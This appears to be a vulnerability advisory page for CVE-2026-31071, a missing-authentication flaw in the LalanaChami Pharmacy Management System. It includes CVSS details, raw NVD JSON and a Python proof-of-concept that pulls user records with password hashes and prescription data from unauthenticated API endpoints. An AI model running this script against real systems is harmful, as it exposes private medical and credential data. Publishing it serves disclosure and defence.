Security Vulnerability Report
中文
CVE-2026-31071 CVSS 9.1 CRITICAL

CVE-2026-31071

Published: 2026-05-19 16:16:20
Last Modified: 2026-05-20 14:16:41

Description

API endpoints in LalanaChami Pharmacy Management System (commit 5c3d028) lack authentication middleware. Unauthenticated remote attackers can exploit this to dump all user records (including bcrypt password hashes) via /api/user/getUserData, modify drug inventory, and access private medical prescription data via /api/doctorOder.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

LalanaChami Pharmacy Management System (commit 5c3d028)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_host = "http://target_host:port" # Exploit 1: Dump all user data including password hashes # Vulnerable endpoint: /api/user/getUserData # No authentication required url_dump = f"{target_host}/api/user/getUserData" try: response = requests.get(url_dump, timeout=10) if response.status_code == 200: print("[+] Successfully dumped user data:") print(response.text) else: print(f"[-] Failed, status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Exploit 2: Access/Modify medical prescriptions and inventory # Vulnerable endpoint: /api/doctorOder # No authentication required url_order = f"{target_host}/api/doctorOder" try: response = requests.get(url_order, timeout=10) if response.status_code == 200: print("[+] Successfully accessed doctor order data:") print(response.text) except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31071", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:20.490", "lastModified": "2026-05-20T14:16:40.560", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "API endpoints in LalanaChami Pharmacy Management System (commit 5c3d028) lack authentication middleware. Unauthenticated remote attackers can exploit this to dump all user records (including bcrypt password hashes) via /api/user/getUserData, modify drug inventory, and access private medical prescription data via /api/doctorOder."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://gist.github.com/nedlir/bc8ad4693c53256819280e8f5de49286", "source": "[email protected]"}, {"url": "https://github.com/LalanaChami/Pharmacy-Mangment-System/tree/5c3d02888631166649856f71d542387114b3010b/backend/routes", "source": "[email protected]"}, {"url": "https://gist.github.com/nedlir/bc8ad4693c53256819280e8f5de49286", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}